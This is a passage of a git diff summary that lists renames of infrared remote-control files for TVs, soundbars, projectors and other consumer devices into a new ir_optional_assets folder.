assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/BrandUnknown/Stlth_acou.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/Casio/Casio_YT-130.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/Dragonfly/Dragonfly_Screen.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Projectors/Epson/Epson.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Roku.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Roku2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Samsung.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Samsung_TV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Samsung_e6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Scrn_innov.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Sharp_Roku_TV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Sonyxbr.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Bose/Bose_Solo_2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Bose/Bose_Solo_5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Bose/Bose_Soundbar.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/BrandUnknown/Amz_snd_bar.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/BrandUnknown/Soundblasterx.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Klipsch/Klipsch_Soundbar.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Samsung.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Sony/Sony_MHC-GS300AV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Sony/Sony_Old_XBR.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Sony/Sony_RDH-GTK33IP.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Vizio/Vizio_Soundbar.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/SoundBars/Yamaha/Yamaha_RX.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Stlth_acou.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Streaming Devices/Apple/Apple_TV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Streaming Devices/Roku/Jet_AFS-1000b.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Streaming Devices/Roku/Roku.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Streaming Devices/Roku/Roku2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Streaming Devices/Roku/Roku_Alternate.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Sunbrite.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Szxlcom_cams.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/APEX LE4643T TV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Hisense/Hisense_RokuTV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/LG/LG_C1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/LG_55UN7300AUD.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/NEC/NEC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Panasonic/Panasonic_TC-P50S2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Philips/Philips_32PFL4208T.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Samsung/Samsung.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Samsung/Samsung_BN59.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Samsung/Samsung_BN5901301A.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Samsung/Samsung_E6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Samsung/Samsung_TV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Sharp/Sharp_Roku_TV.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Sony/Sony_Bravia.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Sony/Sony_XBR.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Sony/Sony_XBR_RMT-TX200U.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Sunbrite/Sunbrite.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/TCL/TCL_32S327.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/TCL/TCL_UnknownModel1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/TCL/TCL_UnknownModel2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Toshiba/Toshiba_32AV502U.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Vizio/Vizio.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/TVs/Westinghouse/Westinghouse.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Tcl.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Tcl_32s327.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Tcl_tv.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Vizio.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Vizio_Soundbar.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Vornado.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Westinghouse.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Whynter_AC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Xbox.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Yamaha_rx.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/Zenith_AC.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ADA/Millenium/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ADB/Set Top Box/42,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ADS/TV_Instant/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AIM/RADIO/129,129.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ANITECH/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AOC/TV/0,189.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AccessHD/CONVERTER_DTA1080U/0,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Accupel/Signal Generator/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Acer/Projector/8,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/5,122.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aconatic/Unknown_AN-2121/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Acorp/Unknown_Acorp-878/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Receiver/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Receiver/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Receiver/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Receiver/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Tuner/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Astro/Satellite/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Atlona/Switcher/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Control/Processor/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir (100%) rename 